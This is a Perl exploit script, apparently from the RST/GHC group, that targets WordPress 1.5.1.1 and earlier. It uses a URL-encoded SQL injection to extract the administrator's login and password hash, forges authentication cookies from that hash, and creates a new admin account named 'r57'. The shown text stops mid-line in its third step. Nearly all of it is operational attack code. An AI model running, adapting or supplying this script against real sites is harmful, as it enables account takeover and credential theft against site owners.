#!/usr/bin/perl ## WordPress <= 1.5.1.1 sql injection "add new admin" exploit ## by RST/GHC , http://rst.void.ru , http://ghc.ru ## coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qw(md5_hex); getopts('h:p:'); $path = $opt_h; $pref = $opt_p || 'wp_'; if(!$path) { usage(); } $xpl = LWP::UserAgent->new() or die; &header(); print " +---[x] STEP 1 - TRY GET ADMIN INFO\n"; $reg = $path; $reg .= '?%63%61%74=%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E'. '%63%61%74%28%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%6C%6F%67%69'. '%6E%2C%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%70%61%73%73%2C%63'. '%68%61%72%28%35%38%2C%35%38%2C%35%38%29%29%2C%6E%75%6C%6C%2C%6E%75%6C%6C%2C%6E%75%6C'. '%6C%20%66%72%6F%6D%20'.$pref.'%75%73%65%72%73%20%57%48%45%52%45%20%49%44=1'; ### 1 - admin ID $res = $xpl->get($reg); die "ERROR : ", $res->status_line unless $res->is_success; if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(<\/title>)/) { $login = $1; $hash = $2; print "\n>> LOGIN : $login\n>> HASH : $hash\n\n"; } else { print "ERROR : Forum not vulnerable or bad prefix."; exit(); } $cookie_jar = HTTP::Cookies->new(); ($cpath = $path) =~ s!/$!!; $hash = md5_hex($hash); ($host = $cpath) =~ s!http://([^/]*).*!$1!; $cpath = md5_hex($cpath); $xpl->cookie_jar( $cookie_jar ); $cookie_jar->set_cookie( "0","wordpresspass_$cpath","$hash","/",$host,,,,,); $cookie_jar->set_cookie( "1","wordpressuser_$cpath","$login","/",$host,,,,,); print " +---[x] STEP 2 - CREATE NEW USER\n"; $reg = $path; $reg .= 'wp-admin/users.php'; $res = $xpl->post("$reg", { "action" => "adduser", "user_login" => "r57", "firstname" => "RST", "lastname" => "GHC", "email" => "billy\@microsoft.com", "uri" => "http://rst.void.ru", "pass1" => "r57", "pass2" => "r57", "adduser" => "Submit", }, Referer => $reg ); print " +---[x] STEP 3 - GET ID OF NEW USER\n"; $reg = $path; $reg .= 'wp-admin/users.php'; $res = $xpl->get("$reg",Referer => $reg); @res = split(/\n/,$res->content); $id = 0; for(@res) { if(/(?:\